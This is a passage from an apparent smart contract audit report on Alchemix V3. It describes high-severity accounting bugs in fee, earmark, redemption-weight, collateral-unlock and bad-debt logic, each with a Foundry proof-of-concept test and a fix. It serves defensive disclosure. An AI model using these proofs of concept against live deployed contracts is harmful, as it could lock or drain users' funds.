      // (uint256 depositedCollateral, uint256 debt,) = alchemist.getCDP(tokenIdFor0xBeef);

      vm.stopPrank();

      // ensure liquidator fee is correct (3% of surplus (account collateral - debt)
      vm.assertApproxEqAbs(feeInYield, 0, 1e18);
      // vm.assertEq(feeInUnderlying, expectedFeeInUnderlying);

      // liquidator gets correct amount of fee
      vm.assertApproxEqAbs(liquidatorPostTokenBalance, liquidatorPrevTokenBalance + feeInYield, 1e18);
      // Verify the user's Underlying balance decreased
      vm.assertEq(liquidatorPostUnderlyingBalance, liquidatorPrevUnderlyingBalance + feeInUnderlying);
      vm.assertApproxEqAbs(alchemistFeeVault.totalDeposits(), 10_000 ether - feeInUnderlying, 1e18);
+      console.log("fee amount:", feeInUnderlying);
  }
```

```
Logs:
  expectedFeeInUnderlying 540000000000000000540000000000000
  alchemistFeeVault-underlyingToken amount:  10000000000000000000000
  fee amount: 10000000000000000000000
```

`expectedFeeInUnderlying` is not converted for underlying decimal. It is debtToken decimal. Its amount is greater than `alchemistFeeVault.totalDeposits()` (*incorrect value*).

- AlchemistV3.sol#L836-L842:

```
  feeInUnderlying = vaultBalance > feeBonus ? feeBonus : vaultBalance;
```

It must be normalized for underlying token decimal.

Recommendation:

```
feeBonus = normalizeDebtTokensToUnderlying(feeBonus);
```

3.1.5 Incorrect earmark weight update in `_sync`

Submitted by ZoA, also found by 0xorangesantra, ParthMandale, 0xPhantom, frndz0ne, Coachmike, Cybrid, KupiaSec, Audinarey, dash, YanecaB, globalace, Huw Grano, kvar, danvinci, CAUsr, 0xl33 and Saikumar Andure

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Summary: In `_sync` function which is called in every state changing functions, updates the earmarked amount and debt amount based on the current earmark weight and redemption weight. After that, it refreshes all weights of the account with the latest one. However, it does not update the `lastAccruedEarmarkWeight` correctly when the redemption is in the past.

Finding Description: First, let's take a look into the `_sync` function implementation:

```
function _sync(uint256 tokenId) internal {
    Account storage account = _accounts[tokenId];
    RedemptionInfo memory previousRedemption = _redemptions[lastRedemptionBlock];

    uint256 debtToEarmark = PositionDecay.ScaleByWeightDelta(account.debt - account.earmarked, _earmarkWeight
    ↪  - account.lastAccruedEarmarkWeight);
    uint256 earmarkedState = account.earmarked + debtToEarmark;

    // Recreate account state at last redemption block if the redemption was in the past
    uint256 earmarkToRedeem;
    uint256 earmarkPreviousState;
    if (block.number > lastRedemptionBlock && _redemptionWeight != 0) { // <<<
        debtToEarmark = PositionDecay.ScaleByWeightDelta(account.debt - account.earmarked,
        ↪  previousRedemption.earmarkWeight - account.lastAccruedEarmarkWeight);

        earmarkPreviousState = account.earmarked + debtToEarmark;
        earmarkToRedeem = PositionDecay.ScaleByWeightDelta(earmarkPreviousState, _redemptionWeight -
        ↪  account.lastAccruedRedemptionWeight);
    } else {
        earmarkToRedeem = PositionDecay.ScaleByWeightDelta(earmarkedState, _redemptionWeight -
        ↪  account.lastAccruedRedemptionWeight);
    }

    uint256 collateralToRemove = PositionDecay.ScaleByWeightDelta(account.rawLocked, _collateralWeight -
    ↪  account.lastCollateralWeight);

    // Calculate how much of user earmarked amount has been redeemed and subtract it
    account.earmarked = earmarkedState - earmarkToRedeem;
    account.debt -= earmarkToRedeem;
    account.lastAccruedRedemptionWeight = _redemptionWeight;
    account.lastAccruedEarmarkWeight = _earmarkWeight; // <<<
    // Redeem user collateral equal to value of debt tokens redeemed
    account.collateralBalance -= collateralToRemove;
    account.rawLocked -= collateralToRemove;
    account.lastCollateralWeight = _collateralWeight;
}
```

When the last redemption is in the past, it uses `earmarkWeight` of that past block instead of the latest `_earmarkWeight` to calculate the earmarked amount. However, when updating the account's `lastAccruedEarmarkWeight`, it uses the latest `_earmarkWeight` instead of the `earmarkWeight` of the past redemption, which is incorrect. Simply thinking, if `_sync` is called again after `_sync`, it will revert because it tries to apply `previousRedemption.earmarkWeight - account.lastAccruedEarmarkWeight` which will be negative thus causing arithmetic underflow.

Impact Explanation: Users actions like borrowing or replaying revert which is a break of core functionality.

Likelihood Explanation: The issue happens in blocks where there is at least one redemption on-going for the block and the redemption is in the past. This is very likely to happen in practice as redemption period is 3 months which means the action can happen any time within 3 months.

Proof of Concept:

```
// src/test/IntegrationTest.t.sol

function testAudit_Sync_IncorrectEarmarkWeightUpdate() external {
    uint256 bn = block.number;

    // 1. Add collateral and mints 10,000 alUSD as debt
    vm.startPrank(address(0xbeef));
    IERC20(EULER_USDC).approve(address(alchemist), 100_000e6);
    alchemist.deposit(1e5 * 1e6, address(0xbeef), 0);
    uint256 tokenId = AlchemistNFTHelper.getFirstTokenId(address(0xbeef), address(alchemistNFT));
    alchemist.mint(tokenId, 1e4 * 1e6, address(0xbeef));
    vm.stopPrank();

    // 2. Create a redemption for 1,000 alUSD
    vm.startPrank(address(0xdad));
    IERC20(alUSD).approve(address(transmuterLogic), 1e3 * 1e6);
    transmuterLogic.createRedemption(1e3 * 1e6);
    vm.stopPrank();
    vm.roll(bn += 5_256_000);
```

```
    // 3. Claim redemption
    vm.prank(address(0xdad));
    transmuterLogic.claimRedemption(1);
    vm.roll(bn += 1);

    // 4. Update debt and earmark
    vm.prank(address(0xbeef));
    alchemist.poke(tokenId);
    (, uint256 debt, uint256 earmarked) = alchemist.getCDP(tokenId);
    assertEq(debt, 9e3 * 1e6); // 10,000 - 1,000
    assertEq(earmarked, 0);

    // 5. Create another redemption for 1,000 alUSD
    vm.startPrank(address(0xdad));
    IERC20(alUSD).approve(address(transmuterLogic), 1e3 * 1e6);
    transmuterLogic.createRedemption(1e3 * 1e6);
    vm.stopPrank();
    vm.roll(bn += 5_256_000);

    // 6. Update debt and earmark
    vm.prank(address(0xbeef));
    alchemist.poke(tokenId);

    // 7. Create another redemption for 1,000 alUSD
    vm.startPrank(address(0xdad));
    IERC20(alUSD).approve(address(transmuterLogic), 1e3 * 1e6);
    transmuterLogic.createRedemption(1e3 * 1e6);
    vm.stopPrank();
    vm.roll(bn += 5_256_000);

    // 8. Update debt and earmark
    vm.expectRevert(); // arithmetic underflow or overflow
    vm.prank(address(0xbeef));
    alchemist.poke(tokenId);
}
```

Recommendation: When the redemption is in the past, it should use the `earmarkWeight` of the past redemption instead of the latest `_earmarkWeight` to update the `lastAccruedEarmarkWeight`. In this case, `account.earmarked` should be updated with `earmarkedPreviousState - earmarkToRedeem`.

3.1.6 Unlocked amount will be different from original locked amount based on price movement and `minimumCollateralization` ratio change

Submitted by montecristo, also found by falconhoof, phrax, silverologist, T1MOH, T1MOH, CAUsr, maptool, c0pp3rscr3w3r, maptool, timefliez, CAUsr, ZoA, KupiaSec, touthang, 0xgh0st, maptool, 1337web3, 0xrex, Bigsam, CAUsr, armormadeofwoe, ExtraCaterpillar, armormadeofwoe, pyk, touthang, KrisRenZo, pyk, 0xrex, Dimaranti, 0xrex and Araj

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Summary: When a user takes out a loan, the protocol locks a portion of their collateral. This locked amount is released once the user repays the debt. However, the lock ratio is calculated based on the current price of the yield token. Since the yield token's price typically goes up over time, the unlock ratio ends up being higher than the initial lock ratio. Consequently, the amount unlocked upon full debt repayment is less than the originally locked amount. As a result, users cannot fully withdraw their deposited collateral even after repaying their debt.

Simiarly, if `minimumCollateralization` has been changed during the debt period, freed amount will be different from original locked amount.

Finding Description: When a user takes out a loan, the protocol locks a portion of their collateral:

- File: alchemix-v3/src/AlchemistV3.sol:

```
852:     function _addDebt(uint256 tokenId, uint256 amount) internal {
853:         Account storage account = _accounts[tokenId];
854:         account.debt += amount;
855:         totalDebt += amount;
856:
857:         // Update collateral variables
858:@>       uint256 toLock = convertDebtTokensToYield(amount) * minimumCollateralization /
↪  FIXED_POINT_SCALAR;
859:
860:         if (account.freeCollateral < toLock) revert Undercollateralized();
861:@>       account.freeCollateral -= toLock;
862:@>       account.rawLocked += toLock;
863:         _totalLocked += toLock;
864:     }
```

This locked amount will be freed upon debt repayment:

- File: alchemix-v3/src/AlchemistV3.sol:

```
869:     function _subDebt(uint256 tokenId, uint256 amount) internal {
870:         Account storage account = _accounts[tokenId];
871:         account.debt -= amount;
872:         totalDebt -= amount;
873:
874:         // Update collateral variables
875:@>       uint256 toFree = convertDebtTokensToYield(amount) * minimumCollateralization /
↪  FIXED_POINT_SCALAR;
876:
877:         // For cases when someone above minimum LTV gets liquidated.
878:         if (toFree > _totalLocked) {
879:             toFree = _totalLocked;
880:         }
881:
882:         _totalLocked -= toFree;
883:@>       account.rawLocked -= toFree;
884:@>       account.freeCollateral += toFree;
885:     }
```

Formally, locked amount and freed amount are calculated as the following:

```
lockAmount = (debtAmount / yieldTokenPrice) * minimumCollateralization
```

```
freedAmount = (debtAmount / yieldTokenPrice) * minimumCollateralization
```

For the same `debtAmount`, it is expected that `lockAmount` and `freedAmount` will be equal. However, there are two factors that can change the amounts: `yieldTokenPrice` and `minimumCollateralization`. Since yield token price normally goes up, `freedAmount` will be less than `lockAmount`. Thus, in L884, `account.freeCollateral` won't be equal to original `account.collateralBalance`, so users won't be able to withdraw full deposited amount after debt clearance due to the following check:

- File: alchemix-v3/src/AlchemistV3.sol:

```
384:     function withdraw(uint256 amount, address recipient, uint256 tokenId) external returns
↪  (uint256) {
...
393:@>       _checkArgument(_accounts[tokenId].freeCollateral >= amount);
```

Similarly, if `minimumCollateralization` has been changed by the admin during the period, `freedAmount` won't be the same to `lockAmount`.

Impact Explanation: Impact is high, as it will incur fund loss from users.

Likelihood Explanation: Likelihood is high, because it can happen for all debitors.

Proof of Concept:

```
pragma solidity 0.8.26;

import {IERC20} from "../../lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";

import {TransparentUpgradeableProxy} from
↪  "../../lib/openzeppelin-contracts/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
```

```
import {SafeCast} from "../libraries/SafeCast.sol";
import {Test} from "../../lib/forge-std/src/Test.sol";
import {SafeERC20} from "../libraries/SafeERC20.sol";
import {console} from "../../lib/forge-std/src/console.sol";
import {AlchemistV3} from "../AlchemistV3.sol";
import {AlchemicTokenV3} from "../test/mocks/AlchemicTokenV3.sol";
import {Transmuter} from "../Transmuter.sol";
import {AlchemistV3Position} from "../AlchemistV3Position.sol";

import {Whitelist} from "../utils/Whitelist.sol";
import {TestERC20} from "./mocks/TestERC20.sol";
import {TestYieldToken} from "./mocks/TestYieldToken.sol";
import {TokenAdapterMock} from "./mocks/TokenAdapterMock.sol";
import {IAlchemistV3, IAlchemistV3Errors, AlchemistInitializationParams} from "../interfaces/IAlchemistV3.sol";
import {ITransmuter} from "../interfaces/ITransmuter.sol";
import {ITestYieldToken} from "../interfaces/test/ITestYieldToken.sol";
import {InsufficientAllowance} from "../base/Errors.sol";
import {Unauthorized, IllegalArgument, IllegalState, MissingInputData} from "../base/Errors.sol";
import {AlchemistNFTHelper} from "./libraries/AlchemistNFTHelper.sol";
import {IAlchemistV3Position} from "../interfaces/IAlchemistV3Position.sol";
import {AggregatorV3Interface} from
↪  "../../lib/chainlink-brownie-contracts/contracts/src/v0.8/shared/interfaces/AggregatorV3Interface.sol";
import {TokenUtils} from "../libraries/TokenUtils.sol";
import {AlchemistTokenVault} from "../AlchemistTokenVault.sol";

contract Sandbox is Test {
    AlchemistV3 alchemist;
    Transmuter transmuter;
    AlchemistV3Position alchemistNFT;
    AlchemistTokenVault alchemistFeeVault;

    TransparentUpgradeableProxy proxyAlchemist;
    TransparentUpgradeableProxy proxyTransmuter;

    AlchemistV3 alchemistLogic;
    Transmuter transmuterLogic;
    AlchemicTokenV3 alToken;
    Whitelist whitelist;

    TestERC20 fakeUnderlyingToken;
    TestYieldToken fakeYieldToken;

    uint256 public constant FIXED_POINT_SCALAR = 1e18;

    uint256 public liquidatorFeeBPS = 300; // in BPS, 3%

    uint256 public minimumCollateralization = uint256(FIXED_POINT_SCALAR * FIXED_POINT_SCALAR) / 9e17;

    address owner = makeAddr("owner");
    address proxyOwner;
    address protocolFeeReceiver = makeAddr("protocolFeeReceiver");

    string public _name;
    string public _symbol;
    uint256 public _flashFee;

    function setUp() external {
        proxyOwner = address(this);

        vm.startPrank(owner);

        fakeUnderlyingToken = new TestERC20(100e18, uint8(18));
        fakeYieldToken = new TestYieldToken(address(fakeUnderlyingToken));
        alToken = new AlchemicTokenV3(_name, _symbol, _flashFee);

        ITransmuter.TransmuterInitializationParams memory transParams =
        ↪  ITransmuter.TransmuterInitializationParams({
            syntheticToken: address(alToken),
            feeReceiver: address(this),
            timeToTransmute: 5_256_000,
            transmutationFee: 10,
            exitFee: 20,
            graphSize: 52_560_000
        });

        transmuterLogic = new Transmuter(transParams);
```

```
        alchemistLogic = new AlchemistV3();
        whitelist = new Whitelist();

        AlchemistInitializationParams memory params = AlchemistInitializationParams({
            admin: owner,
            debtToken: address(alToken),
            underlyingToken: address(fakeUnderlyingToken),
            yieldToken: address(fakeYieldToken),
            blocksPerYear: 2_600_000,
            depositCap: type(uint256).max,
            minimumCollateralization: minimumCollateralization,
            collateralizationLowerBound: 1_052_631_578_950_000_000, // 1.05 collateralization
            globalMinimumCollateralization: 1_111_111_111_111_111_111, // 1.1
            tokenAdapter: address(fakeYieldToken),
            transmuter: address(transmuterLogic),
            protocolFee: 0,
            protocolFeeReceiver: protocolFeeReceiver,
            liquidatorFee: liquidatorFeeBPS
        });

        bytes memory alchemParams = abi.encodeWithSelector(AlchemistV3.initialize.selector, params);
        proxyAlchemist = new TransparentUpgradeableProxy(address(alchemistLogic), proxyOwner, alchemParams);
        alchemist = AlchemistV3(address(proxyAlchemist));

        alToken.setWhitelist(address(proxyAlchemist), true);

        transmuterLogic.setAlchemist(address(alchemist));
        transmuterLogic.setDepositCap(uint256(type(int256).max));

        alchemistNFT = new AlchemistV3Position(address(alchemist));
        alchemist.setAlchemistPositionNFT(address(alchemistNFT));

        alchemistFeeVault = new AlchemistTokenVault(address(fakeUnderlyingToken), address(alchemist), owner);
        alchemistFeeVault.setAuthorization(address(alchemist), true);
        alchemist.setAlchemistFeeVault(address(alchemistFeeVault));
        vm.stopPrank();
    }

    function testRepayWithDifferentPrice() external {
        uint256 depositAmount = 100e18;
        uint256 debtAmount = depositAmount / 2;
        uint256 initialFund = depositAmount * 2;
        address alice = makeAddr("alice");

        vm.startPrank(alice);
        // alice has 200 ETH of yield token
        fakeUnderlyingToken.mint(alice, initialFund);
        SafeERC20.safeApprove(address(fakeUnderlyingToken), address(fakeYieldToken), initialFund);
        fakeYieldToken.mint(initialFund, alice);
        // alice deposits 100 ETH to Alchemix
        SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), initialFund);
        alchemist.deposit(depositAmount, address(alice), 0);
        // alice mints 50 ETH of debt token
        uint256 tokenId = AlchemistNFTHelper.getFirstTokenId(alice, address(alchemistNFT));
        alchemist.mint(tokenId, debtAmount, alice);

        // forward block number so that alice can repay
        vm.roll(block.number + 1);

        // yield token price increased a little in the meantime
        uint256 initialVaultSupply = IERC20(address(fakeYieldToken)).totalSupply();
        fakeYieldToken.updateMockTokenSupply(initialVaultSupply);
        uint256 modifiedVaultSupply = initialVaultSupply - (initialVaultSupply * 590 / 10_000);
        fakeYieldToken.updateMockTokenSupply(modifiedVaultSupply);

        // alice fully repays her debt
        alchemist.repay(debtAmount, tokenId);

        // verify all debt are cleared
        (uint256 collateral, uint256 debt, uint256 earmarked) = alchemist.getCDP(tokenId);
        assertEq(debt, 0, "debt == 0");
        assertEq(earmarked, 0, "earmarked == 0");
        assertEq(collateral, depositAmount, "depositAmount == collateral");

        // now alice cannot withdraw deposited amount due to vulnerability
        vm.expectRevert(IllegalArgument.selector);
```

```
        alchemist.withdraw(collateral, alice, tokenId);

        vm.stopPrank();
    }
}
```

Recommendation: The proper fix would be to track `(debt, lockAmount)` pair and calculate freed amount based on those checkpoints.

3.1.7 Incorrect management of redemption weight

Submitted by ZoA, also found by Huw Grano and globalace

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Summary: The redemption weight is used to calculate the ratio of redemption amount compared to the earmarked amount. As it uses logarithm algorithm for its management, it is increased whenever there happens a changes in redemption amount.

However, when the all earmarked amount is redeemed, the redemption weight will be bigger than `0x800...` which represents infinite. Once the redemption weight reaches this point, it causes issues in managing users' debts.

Finding Description: When `alToken` holders create and claim redemptions, the update for `_redemptionWeight` is processed in `AlchemistV3.redeem` function.

Here, when `amount` and `cumulativeEarmarked` are the same, the `_redemptionWeight` will be increased by `LOG2NEGFRAC_1 + 1` which is `0x800... + 1` that represents infinite to allow all of earmarked amount to be redeemed.

Now, let's think of the following scenario:

1. Alice created a redemption for 1,000 `alUSD` and claimed it after transmutation period has passed.
2. At this point, `_redemptionWeight` is set to `LOG2NEGFRAC_1 + 1` which becomes infinite.
3. Bob created a redemption for 1,000 `alUSD`, and then half of transmutation period has passed.
4. Bob creates another redemption for 1,000 `alUSD` and then another half of transmutation period has passed.
5. Bob claims the second redemption, increasing `_redemptionWeight` by 2. `-Log2(500 / 2000) = 2`.
6. At this point, total earmarked amount is 2,500 `alUSD` and redeemable amount is 2,000 `alUSD`.
7. However, since `_redemptionWeight` is infinite, the redeemable amount will be 2,500 `alUSD`.

Impact Explanation:

- Incorrect tracking of redeemable amount.
- Users's debts decrease more than expected.

Likelihood Explanation: Medium likelihood, as it only happens when the all earmarked amount is redeemed.

Proof of Concept:

```
// src/test/IntegrationTest.t.sol

function testAudit_RedemptionWeight() external {
    // Deposit 100_100e6 EULER_USDC, borrow 10_000 alUSD
    vm.startPrank(address(0xbeef));
    IERC20(EULER_USDC).approve(address(alchemist), 100_000e6);
    alchemist.deposit(100_000e6, address(0xbeef), 0);
    uint256 tokenId = AlchemistNFTHelper.getFirstTokenId(address(0xbeef), address(alchemistNFT));
    alchemist.mint(tokenId, 10_000e18, address(0xbeef));
    vm.stopPrank();

    vm.startPrank(address(0xdad));
    IERC20(alUSD).approve(address(transmuterLogic), 3000e18);

    // Create redemption for 1_000 alUSD and claim
    transmuterLogic.createRedemption(1000e18);
    vm.roll(vm.getBlockNumber() + 5_256_000 + 1);
    transmuterLogic.claimRedemption(1); // _redemptionWeight = 0x800... + 1 = infinite

    // Create redemption for 1_000 alUSD
    transmuterLogic.createRedemption(1000e18);
    vm.roll(vm.getBlockNumber() + 5_256_000 / 2);
    // Create another redemption for 1_000 alUSD after passing half period
    transmuterLogic.createRedemption(1000e18);
    vm.roll(vm.getBlockNumber() + 5_256_000 / 2 + 1);
    // Claim the second redemption
    transmuterLogic.claimRedemption(2);
    vm.stopPrank();

    (uint256 collateral, uint256 debt, uint256 earmarked) = alchemist.getCDP(tokenId);
    assertApproxEqAbs(debt, 10_000e18 - 2_500e18, 1e15); // The debt includes amount that is not claimed yet
    assertEq(earmarked, 0);
}
```

Recommendation: Not sure about the correct mitigation for this issue but tracking redemption weight should be updated.

3.1.8 Incorrect bad debt ratio calculation

Submitted by montecristo, also found by 0xorangesantra, falconhoof, phrax, 0xNull, T1MOH, T1MOH, 4mj3x, Rikard Hjort, Kemah, ZoA, 0xpinkman, Ivan-Alexander, silverologist, tough, Audinarey, Huw Grano, eLSeR17, ExtraCaterpillar, armormadeofwoe, 0xNForcer, Dliteofficial, touthang, hrmneffdii, Araj, Bigsam, farismaulana, 0xrex, 0x9527, 0xl33, pyk and 0xl33

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Summary: Bad debt ratio calculation does not consider yield tokens transferred to Transmuter in liquidations. As a result, bad debt ratio will be inflated and redemption claimers will receive less yield tokens.

Finding Description: Transmuter has a bad debt handling mechanism to keep the protocol solvent in spite of accumulated bad debts:

- alchemix-v3/src/Transmuter.sol:

```
237:         uint256 badDebtRatio = alchemist.totalSyntheticsIssued() *
↪  10**TokenUtils.expectDecimals(alchemist.yieldToken()) / alchemist.getTotalUnderlyingValue();
238:
239:         if (badDebtRatio > 1e18) {
240:             claimAmount = claimAmount * FIXED_POINT_SCALAR / badDebtRatio;
241:             feeAmount = feeAmount * FIXED_POINT_SCALAR / badDebtRatio;
242:         }
```

Formally, bad debt ratio is calculated as the following:

```
badDebtRatio = totalSyntheticsIssued / (yieldToken.balanceOf(alchemist) * yieldTokenPrice)
```

However, Alchemist's collateral balance cannot fully represent backing amount of issued synthetic tokens, because yield tokens gets transferred to Transmuter when user debt is repaid. For a debitor, there are 3 ways to repay debt, so let's take a look at them one by one.

- Repayment by yield token (AlchemistV3.sol#L488):
  - `totalSyntheticsIssued` remains unchanged because no debt token is burnt.
  - Alchemist's yield token balance remains unchanged because all repayment (except minor protocol fee) is directed towards Transmuter.

  So, `badDebtRatio` will remain unchanged.
- Repayment by burning debt token (AlchemistV3.sol#L447):
  - `totalSyntheticsIssued` is decreased.
  - Alchemist's yield token balance remains unchanged, maybe except minor protocol fee.

  So `badDebtRatio` will be decreased (i.e. improved).
- Repayment by liquidation (AlchemistV3.sol#L530):
  - `totalSyntheticsIssued` remains unchanged, as no debt token is burnt.
  - Alchemist's yield token balance decreases, because majority of yield token is transferred to Transmuter in order to repay the debt:
  - alchemix-v3/src/AlchemistV3.sol:

```
826:             // send liquidation amount - any fee to the transmuter. the transmuter only
↪  accepts yield tokens
827:             TokenUtils.safeTransfer(yieldToken, transmuter, adjustedDebtToBurn);
```

So `badDebtRatio` will be significantly increased, even for non-bad-debt liquidations, as Alchemist's yield token balance is decreased by liquidated amount.

Impact Explanation: Impact is high, because redemption claimers will receive less amount of yield tokens. Consequently, this vulnerability will bring depegging of AlTokens to underlying assets.

Likelihood Explanation: Likelihood is medium, because it will happen on every liquidations.

Proof of Concept: The following proof of concept demonstrates a scenario where a non-bad-debt liquidation increases bad debt ratio from 0.75 to 1.1.

```
pragma solidity 0.8.26;

import {IERC20} from "../../lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";

import {TransparentUpgradeableProxy} from
↪  "../../lib/openzeppelin-contracts/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {SafeCast} from "../libraries/SafeCast.sol";
import {Test} from "../../lib/forge-std/src/Test.sol";
import {SafeERC20} from "../libraries/SafeERC20.sol";
import {console} from "../../lib/forge-std/src/console.sol";
import {AlchemistV3} from "../AlchemistV3.sol";
import {AlchemicTokenV3} from "../test/mocks/AlchemicTokenV3.sol";
import {Transmuter} from "../Transmuter.sol";
import {AlchemistV3Position} from "../AlchemistV3Position.sol";

import {Whitelist} from "../utils/Whitelist.sol";
import {TestERC20} from "./mocks/TestERC20.sol";
import {TestYieldToken} from "./mocks/TestYieldToken.sol";
import {TokenAdapterMock} from "./mocks/TokenAdapterMock.sol";
import {IAlchemistV3, IAlchemistV3Errors, AlchemistInitializationParams} from "../interfaces/IAlchemistV3.sol";
import {ITransmuter} from "../interfaces/ITransmuter.sol";
import {ITestYieldToken} from "../interfaces/test/ITestYieldToken.sol";
import {InsufficientAllowance} from "../base/Errors.sol";
import {Unauthorized, IllegalArgument, IllegalState, MissingInputData} from "../base/Errors.sol";
import {AlchemistNFTHelper} from "./libraries/AlchemistNFTHelper.sol";
import {IAlchemistV3Position} from "../interfaces/IAlchemistV3Position.sol";
import {AggregatorV3Interface} from
↪  "../../lib/chainlink-brownie-contracts/contracts/src/v0.8/shared/interfaces/AggregatorV3Interface.sol";
import {TokenUtils} from "../libraries/TokenUtils.sol";
import {AlchemistTokenVault} from "../AlchemistTokenVault.sol";

contract POC is Test {
    AlchemistV3 alchemist;
    Transmuter transmuter;
    AlchemistV3Position alchemistNFT;
```

```
AlchemistTokenVault alchemistFeeVault;

TransparentUpgradeableProxy proxyAlchemist;
TransparentUpgradeableProxy proxyTransmuter;

AlchemistV3 alchemistLogic;
Transmuter transmuterLogic;
AlchemicTokenV3 alToken;
Whitelist whitelist;

TestERC20 fakeUnderlyingToken;
TestYieldToken fakeYieldToken;

uint256 public constant FIXED_POINT_SCALAR = 1e18;

uint256 public liquidatorFeeBPS = 300; // in BPS, 3%

uint256 public minimumCollateralization = uint256(FIXED_POINT_SCALAR * FIXED_POINT_SCALAR) / 9e17;

address owner = makeAddr("owner");
address proxyOwner;
address protocolFeeReceiver = makeAddr("protocolFeeReceiver");

string public _name;
string public _symbol;
uint256 public _flashFee;
uint256 redemptionNonce;

modifier actAs(address user) {
    vm.stopPrank();
    vm.startPrank(user, user);
    _;
    vm.stopPrank();
}

function setUp() external {
    proxyOwner = address(this);

    vm.startPrank(owner);

    fakeUnderlyingToken = new TestERC20(100e18, uint8(18));
    fakeYieldToken = new TestYieldToken(address(fakeUnderlyingToken));
    alToken = new AlchemicTokenV3(_name, _symbol, _flashFee);

    ITransmuter.TransmuterInitializationParams memory transParams =
    ↪  ITransmuter.TransmuterInitializationParams({
        syntheticToken: address(alToken),
        feeReceiver: address(this),
        timeToTransmute: 5_256_000,
        transmutationFee: 10,
        exitFee: 20,
        graphSize: 52_560_000
    });

    transmuterLogic = new Transmuter(transParams);
    transmuter = transmuterLogic;
    alchemistLogic = new AlchemistV3();
    whitelist = new Whitelist();

    AlchemistInitializationParams memory params = AlchemistInitializationParams({
        admin: owner,
        debtToken: address(alToken),
        underlyingToken: address(fakeUnderlyingToken),
        yieldToken: address(fakeYieldToken),
        blocksPerYear: 2_600_000,
        depositCap: type(uint256).max,
        minimumCollateralization: minimumCollateralization,
        collateralizationLowerBound: 1_052_631_578_950_000_000, // 1.05 collateralization
        globalMinimumCollateralization: 1_111_111_111_111_111_111, // 1.1
        tokenAdapter: address(fakeYieldToken),
        transmuter: address(transmuterLogic),
        protocolFee: 0,
        protocolFeeReceiver: protocolFeeReceiver,
        liquidatorFee: liquidatorFeeBPS
    });
```

```
        bytes memory alchemParams = abi.encodeWithSelector(AlchemistV3.initialize.selector, params);
        proxyAlchemist = new TransparentUpgradeableProxy(address(alchemistLogic), proxyOwner, alchemParams);
        alchemist = AlchemistV3(address(proxyAlchemist));

        alToken.setWhitelist(address(proxyAlchemist), true);

        transmuterLogic.setAlchemist(address(alchemist));
        transmuterLogic.setDepositCap(uint256(type(int256).max));

        alchemistNFT = new AlchemistV3Position(address(alchemist));
        alchemist.setAlchemistPositionNFT(address(alchemistNFT));

        alchemistFeeVault = new AlchemistTokenVault(address(fakeUnderlyingToken), address(alchemist), owner);
        alchemistFeeVault.setAuthorization(address(alchemist), true);
        alchemist.setAlchemistFeeVault(address(alchemistFeeVault));
        vm.stopPrank();
    }

    function test_LiquidationIncreasesBadDebtRatio() external {
        uint256 depositAmount = 100e18;
        address alice = makeAddr("alice");
        address bob = makeAddr("bob");
        // alice and bob deposits 100 ETH respectively
        _dealYieldToken(alice, depositAmount);
        _dealYieldToken(bob, depositAmount);
        uint256 alicePositionId = _deposit(alice, depositAmount);
        uint256 bobPositionId = _deposit(bob, depositAmount);
        // alice mints 90 ETH, bob mints 50 ETH of debt tokens
        _mintDebtToken(alice, depositAmount * 9 / 10);
        _mintDebtToken(bob, depositAmount / 2);
        // price drops so that alice can be liquidated
        _adjustPrice(-700);

        {
            emit log_named_decimal_uint("totalUnderlyingValue", alchemist.getTotalUnderlyingValue(), 18);
            emit log_named_decimal_uint("totalSyntheticsIssued", alchemist.totalSyntheticsIssued(), 18);
            uint256 badDebtRatio =
                alchemist.totalSyntheticsIssued() * 10 ** TokenUtils.expectDecimals(alchemist.yieldToken()) /
                ↪  alchemist.getTotalUnderlyingValue();
            emit log_named_decimal_uint("badDebtRatio", badDebtRatio, 18);
        }
        alchemist.liquidate(alicePositionId);

        uint256 badDebtRatio = alchemist.totalSyntheticsIssued() * 10 **
        ↪  TokenUtils.expectDecimals(alchemist.yieldToken()) / alchemist.getTotalUnderlyingValue();

        {
            emit log_named_decimal_uint("totalUnderlyingValue", alchemist.getTotalUnderlyingValue(), 18);
            emit log_named_decimal_uint("totalSyntheticsIssued", alchemist.totalSyntheticsIssued(), 18);
            uint256 badDebtRatio =
                alchemist.totalSyntheticsIssued() * 10 ** TokenUtils.expectDecimals(alchemist.yieldToken()) /
                ↪  alchemist.getTotalUnderlyingValue();
            emit log_named_decimal_uint("badDebtRatio", badDebtRatio, 18);
        }

        console.log("alice position");
        _debugCDP(alicePositionId);
        console.log("bob position");
        _debugCDP(bobPositionId);
        // bad debt ratio has been increased significantly due to reported vulnerability
        assertGt(badDebtRatio, 1e18);
    }

    function _dealYieldToken(address user, uint256 amount) internal actAs(user) {
        fakeUnderlyingToken.mint(user, amount);
        SafeERC20.safeApprove(address(fakeUnderlyingToken), address(fakeYieldToken), amount);
        fakeYieldToken.mint(amount, user);
    }

    function _deposit(address user, uint256 amount) internal actAs(user) returns (uint256 tokenId) {
        SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), amount);
        alchemist.deposit(amount, user, 0);
        return AlchemistNFTHelper.getFirstTokenId(user, address(alchemistNFT));
    }

    function _mintDebtToken(address user, uint256 amount) internal {
```

```
        uint256 tokenId = AlchemistNFTHelper.getFirstTokenId(user, address(alchemistNFT));
        return _mintDebtToken(user, tokenId, amount);
    }

    function _mintDebtToken(address user, uint256 tokenId, uint256 amount) internal actAs(user) {
        alchemist.mint(tokenId, amount, user);
    }

    function _adjustPrice(int256 bps) internal {
        uint256 initialVaultSupply = IERC20(address(fakeYieldToken)).totalSupply();
        fakeYieldToken.updateMockTokenSupply(initialVaultSupply);
        uint256 modifiedVaultSupply = uint256(int256(initialVaultSupply) - (int256(initialVaultSupply) * bps /
        ↪  10_000));
        fakeYieldToken.updateMockTokenSupply(modifiedVaultSupply);
    }

    function _debugCDP(uint256 positionId) internal {
        (uint256 collateral, uint256 debt, uint256 earmarked) = alchemist.getCDP(positionId);
        emit log_named_decimal_uint("collateral", collateral, 18);
        emit log_named_decimal_uint("debt", debt, 18);
